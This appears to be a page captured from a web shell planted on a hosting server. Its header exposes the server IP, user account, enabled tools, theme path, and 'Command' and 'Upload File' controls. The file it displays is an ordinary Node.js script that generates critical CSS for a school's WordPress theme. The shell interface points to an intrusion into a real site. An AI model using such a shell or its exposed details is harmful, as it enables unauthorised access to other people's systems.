|
Server IP : 89.26.249.46 / Your IP : 216.73.216.42 Web Server : Apache System : Linux a.cp.cloudlink.pt 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64 User : eticalga ( 1129) PHP Version : 8.3.31 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/eticalga/www/files/themes/kobuxeticalgarve/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
const fs = require('fs');
const path = require('path');
const penthouse = require('penthouse');
const packageJSON = require('./package.json');
const __baseDir = './';
const __baseOutput = path.resolve(__baseDir, 'dist/critical');
const requestAllModes = process.argv.includes('--all');
const isDarkMode = !requestAllModes && (process.env.CRITICAL_MODE === 'dark' || process.argv.includes('--dark') || process.argv.includes('--dark-mode'));
// populate with as many urls as you want, only X will be executed in parallel;
const urls = [
{
page: 'homepage',
url: `https://${packageJSON.localDomain}/`
},
{
page: 'archive',
url: `https://${packageJSON.localDomain}/etic_algarve/staff/`
},
{
page: 'staff',
url: `https://${packageJSON.localDomain}/staff/alexandra-azevedo/`
},
{
page: 'project',
url: `https://${packageJSON.localDomain}/projetos/projeto-concept-art/`
},
{
page: 'course',
url: `https://${packageJSON.localDomain}/cursos/songwriting/`
},
{
page: 'training-area',
url: `https://${packageJSON.localDomain}/areas-de-formacao/som-e-musica/`
},
{
page: 'article',
url: `https://${packageJSON.localDomain}/aenean-pellentesque-vitae-erat-vel-mattis-quisque-egestas-est-ac-diam-laoreet-id-imperdiet-2/`
},
{
page: 'contacts',
url: `https://${packageJSON.localDomain}/contactos/`
},
{
page: 'newsletter',
url: `https://${packageJSON.localDomain}/subscrever-newsletter/`
},
{
page: 'default',
url: `https://${packageJSON.localDomain}/etic_algarve/`
}
];
const VIEWPORTS = [
{ label: 'desktop', width: 1920, height: 1080 },
{ label: 'mobile', width: 430, height: 932 }
];
const withCriticalModeFlag = (url, darkMode) => {
const separator = url.includes('?') ? '&' : '?';
const mode = darkMode ? 'dark' : 'light';
return `${url}${separator}critical-mode=${mode}`;
};
const createPenthouseOptions = (darkMode = false) => ({
css: path.resolve(__baseDir, 'dist/styles.css'),
timeout: 90000,
renderWaitTime: 7000,
blockJSRequests: false, // allow inline JS so DOM can build
// Keep key components that may be hidden or injected later
forceInclude: [
/\.testimonials-slider-block/,
/\.slider-gallery/,
/#loader/,
/#ajax-loader/,
/loading-ajax-page/
],
puppeteer: {
headless: true,
args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-web-security', '--disable-features=IsolateOrigins,site-per-process']
},
before: async (page) => {
// Wait for page scripts to initialize
await page.waitForTimeout(4000);
await page.evaluate((enableDarkMode) => {
if (enableDarkMode) {
document.body.classList.add('mode-dark');
}
// Remove all YouTube embeds and placeholders completely
document.querySelectorAll('iframe[src*="youtube"], iframe[src*="youtube-nocookie"], .wp-block-embed, .wp-block-embed-youtube, .youtube, [data-iframe-src]').forEach((el) => el.remove());
}, darkMode);
}
});
async function generateCritical(task, darkMode) {
const targetUrl = withCriticalModeFlag(task.url, darkMode);
const penthouseOptions = createPenthouseOptions(darkMode);
const [desktopCss, mobileCss] = await Promise.all(
VIEWPORTS.map((viewport) =>
penthouse({
...penthouseOptions,
url: targetUrl,
width: viewport.width,
height: viewport.height
})
)
);
// Merge results, prefix mobile styles with media query
const criticalCss = `${desktopCss}\n@media (max-width: 600px) {\n${mobileCss}\n}`;
if (!fs.existsSync(__baseOutput)) {
fs.mkdirSync(__baseOutput, { recursive: true });
console.log('Creating output directory: %s', __baseOutput);
}
const pattern = /(dist\/images\/)|(\images\/)/gi;
const criticalCssFix = criticalCss.replaceAll(pattern, `/files/themes/${packageJSON.name}/dist/images/`);
const suffix = darkMode ? '-dark' : '';
const output = path.resolve(__baseOutput, `${task.page}${suffix}.min.css`);
fs.writeFileSync(output, criticalCssFix);
console.log(`Created ${task.page}${suffix}.min.css`);
}
// recursively generates critical css for one url at the time, until all urls have been handled
function startNewJob(taskQueue, darkMode) {
const task = taskQueue.pop(); // NOTE: mutates local queue
if (!task) {
// no more new jobs to process (might still be jobs currently in process)
return Promise.resolve();
}
return generateCritical(task, darkMode).then(() => startNewJob(taskQueue, darkMode));
}
async function runForMode(darkMode) {
const queue = [...urls]; // clone so multiple modes don't interfere
await Promise.all([
startNewJob(queue, darkMode),
startNewJob(queue, darkMode),
startNewJob(queue, darkMode)
]);
}
const modesToRun = requestAllModes ? [false, true] : [isDarkMode];
(async () => {
for (const mode of modesToRun) {
console.log(`Starting critical CSS generation for ${mode ? 'dark' : 'light'} mode...`);
await runForMode(mode);
console.log(`Finished ${mode ? 'dark' : 'light'} mode.`);
}
console.log('all done!');
})();